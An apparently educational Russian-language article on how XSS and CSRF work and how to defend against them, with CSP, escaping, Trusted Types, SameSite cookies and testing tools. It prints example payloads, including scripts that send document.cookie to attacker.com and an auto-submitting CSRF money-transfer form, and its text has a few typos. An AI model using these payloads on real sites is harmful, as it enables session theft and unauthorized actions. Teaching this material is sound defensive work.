Механика клиентских уязвимостей XSS и CSRF

Браузер по умолчанию доверяет коду, полученному от сервера. Защита периметра теряет смысл, если атакующий получает возможность управлять сессией легитимного пользователя через его же терминал.

Природа внедрения кода в браузер

Cross-Site Scripting возникает в момент, когда приложение берет данные от пользователя и вставляет их в страницу без предварительной очистки. Браузер не различает легитимный код от разработчика и вредоносную нагрузку от злоумышленника. Он выполняет любой JavaScript, полученный в ответе сервера или сгенерированный на клиенте.

Reflected XSS существует в параметрах URL. Атакующий формирует ссылку с вредоносной нагрузкой и отправляет ее жертве. Сервер отражает этот параметр обратно в HTML без модификации. Пример полезной нагрузки в параметре поиска:
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

Stored XSS представляет большую опасность. Вредоносный скрипт сохраняется в базе данных приложения. Каждый пользователь, открывающий страницу с комментарием или профилем, автоматически запускает чужой код. Пример внедрения в поле отзыва:
<img src=x onerror="fetch('https://attacker.com/steal', {method:'POST', body:document.cookie})">

DOM-based XSS интересен тем, что сервер не участвует в процессе уязвимости. Клиентский JavaScript берет данные из источников вроде location.hash или document.referrer и вставляет их в элементы через опасные методы вроде innerHTML или eval. Уязвимость существует исключительно в логике браузера. Пример:
document.getElementById('output').innerHTML = location.hash.substring(1);
Полезная нагрузка в URL будет выглядеть как #<img src=x onerror=alert(1)>.

Blind XSS является вариантом Stored XSS. Скрипт срабатывает не у обычного пользователя, а у администратора, который зашел в панель управления для просмотра логов или жалоб. Для фиксации таких уязвимостей используют внешние сервисы, которые фиксируют срабатывание и возвращают контекст страницы, включая заголовки и куки жертвы.

Реальный импакт выполнения JavaScript

Многие считают, что главная цель XSS заключается в краже сессионных кук. Флаг HttpOnly действительно запрещает чтение кук через document.cookie. Атакующему не нужно их читать для компрометации аккаунта.

Выполняясь в контексте домена, вредоносный скрипт может сделать всё, что разрешено легитимному JavaScript. Скрипт изменяет содержимое страницы, подменяет ссылки или перенаправляет форму авторизации на подконтрольный сервер. Пользователь введет свои данные, а скрипт перехватит их до отправки.

Флаг HttpOnly защищает только от прямого чтения значения. Механизм никак не мешает браузеру автоматически прикреплять эти куки к запросам, которые формирует вредоносный код через XMLHttpRequest или fetch.

Механизм подделки межсайтовых запросов

Cross-Site Request Forgory использует другую механику. Здесь не нужно внедрять скрипт на целевой сайт. Достаточно заставить браузер жертвы отправить запрос на уязвимый сервер.

Браузеры автоматически добавляют куки аутентификации ко всем запросам в пределах домена. Если администратор авторизован в панели управления и одновременно посещает сторонний ресурс, чужая страница может содержать скрытую форму. JavaScript на этой странице автоматически отправит форму на эндпоинт админки. Сервер получит запрос с валидными куками администратора и выполнит действие. Пример такой формы:

<form id="csrf-form" action="https://victim.com/api/transfer" method="POST">
  <input type="hidden" name="amount" value="10000">
  <input type=" protected" name="to_account" value="attacker_account">
</form>
<script>document.getElementById('csrf-form').submit();</script>

Часто приходится слышать, что от CSRF защищает CORS. Это фундаментальное заблуждение. CORS регулирует только возможность чтения ответа междоменными запросами. Политика никак не запрещает самому факту отправки запроса и выполнения действия на сервере.

Флаг SameSite у кук частично решает проблему. Флаг Lax пропускает куки при переходах верхнего уровня (top-level navigation), например, при клике по обычной ссылке. Это означает, что GET-запросы, изменяющие состояние приложения, остаются уязвимыми. Флаг Strict блокирует куки при любых междоменных переходах, но может ломать легитимные сценарии входа из почтовых клиентов или внешних сервисов.

Некоторые серверы ожидают JSON, но не проверяют заголовок Content-Type. Атакующий может отправить форму с enctype="text/plain". Нагрузка будет выглядеть как {"amount":1000}=. Некоторые парсеры проигнорируют знак равенства в конце и обработают остальное как валидный JSON. Современные фреймворки строго проверяют типы содержимого, делая этот вектор менее актуальным, но он встречается в устаревших API.

Взаимосвязь XSS и обход защиты от CSRF

Классической защитой от CSRF выступают антифрод токены. Сервер генерирует уникальное значение, вшивает его в форму и ожидает получить обратно при отправке. Злоумышленник с другого домена не может узнать этот токен из-за политики одинакового источника.

Наличие XSS полностью обнуляет эту защиту. Токен часто лежит прямо в DOM-дереве в виде скрытого input-элемента. Вредоносный скрипт легко находит этот элемент, считывает значение и использует его для формирования поддельного запроса.

Даже если токен генерируется заново для каждого действия, XSS позволяет просто найти саму форму на странице и программно нажать кнопку отправки. Браузер сам подставит актуальный токен и куки, делая запрос полностью легитимным с точки зрения сервера.

Практические методы защиты на стороне клиента и сервера

Черные списки и фильтрация кавычек не работают. Атакующий всегда найдет способ обойти наивные регулярные выражения. Защита должна строиться на контекстном экранировании и строгих политиках браузера.

Настройка Content Security Policy является базовым требованием. Политика должна запрещать выполнение inline-скриптов и разрешать загрузку кода только с доверенных доменов. Использование unsafe-inline сводит всю защиту к нулю. Правильный подход использует nonce или hash.
Пример заголовка:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m123';
Сервер генерирует случайную строку для каждого запроса, помещает ее в атрибут nonce тега script, и браузер выполняет только совпадающие скрип a>

Автоматическое экранирование в шаблонах предотвращает случайный вывод кода в HTML-контексте. Современные фреймворки делают это по умолчанию. В React использование dangerouslySetInnerHTML требует явного согласия разработчика. В Vue аналогичный риск несет директива v-html. В Django и Laravel конструкции {{ variable }} автоматически экранируют специальные символы. Разработчики должны использовать эти стандартные механизмы вместо ручной конкатенации строк.

Trusted Types представляет собой современный API браузера, предотвращающий DOM XSS. Политика требует, чтобы данные, передаваемые в опасные sink-функции вроде innerHTML или eval, проходили через специальный доверенный обработчик. Это исключает возможность передачи сырых строк из URL или базы данных напрямую в исполняемый контекст.

Применение SameSite=Strict для сессионных кук блокирует классические сценарии CSRF без необходимости внедрять сложные токены. Браузер не будет отправлять такие куки при межсайтовых запросах.

Валидация антифрод токенов на стороне сервера гарантирует, что запрос инициирован самим приложением. Токен должен быть привязан к сессии пользователя и проверяться до выполнения любого критического действия.

Инструменты для тестирования уязвимостей

Проверка клиентских уязвимостей требует комбинации автоматизированных и ручных методов.

Burp Suite позволяет перехватывать и модифицировать запросы. Инструмент Intruder полезен для подбора векторов обхода фильтров или тестирования Blind XSS через внедрение полезных нагрузок с уникальными идентификаторами.

Browser DevTools незаменимы для анализа DOM-based XSS. Вкладка Network показывает реальные запросы и ответы. Вкладка Application позволяет проверить флаги кук и локальное хранилище. Console используется для тестирования sink-функций и проверки доступности объектов DOM.

OWASP ZAP предоставляет базовое автоматизированное сканирование для выявления отраженных и хранимых XSS. Инструмент полезен для первичного аудита больших приложений, хотя сложные логические обходы требуют ручного анализа.

Почему наличие флага HttpOnly у сессионной куки не спасает от кражи сессии при успешной эксплуатации XSS?

Оставьте комментарий